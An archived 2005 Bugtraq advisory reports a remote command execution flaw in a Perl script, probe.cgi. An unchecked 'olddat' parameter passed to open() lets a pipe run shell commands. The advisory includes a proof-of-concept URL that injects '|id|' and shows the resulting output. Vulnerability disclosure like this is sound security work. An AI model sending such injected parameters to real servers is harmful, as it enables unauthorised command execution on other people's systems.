Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

[badroot security] probe.cgi: Remote Command Execution
From: mozako <mozako () mybox it>
Date: Tue, 05 Jul 2005 22:17:54 +0000

___________________________________________________________

BADROOT SECURITY GROUP
Security Advisory 2005 - #0x06
http://www.badroot.org
irc.us.azzurra.org ~ #badroot
___________________________________________________________

Authors ....... spher3 (spher3 at fatalimpulse dot net) Date .......... 04-07-2005
Product .......  probe.cgi
Type ..........  Remote Command Execution

o Info:
================
That script is used to open file '.dat'.

o Vulnerable Code:
================
..
23  [...]
24  $old = $query->param('olddat');
25  [...]
..
..
34  [...]
35  open (VF, "$olddat");
36  [...]
..

(24) At this line, the cgi param 'olddat' is associated to one database.
   This variable isn't checked by anyone matching, so you can open
all file that you want. (35) At this line the script open the file that you had chosen. With pipe `|`
   is possible to execute arbitrary code on the shell.

o Proof of concept:
================

http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)

Original ADV: http://www.badroot.org/advisories/SA0x06


  By Date           By Thread  

Current thread:
  • [badroot security] probe.cgi: Remote Command Execution mozako (Jul 05)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]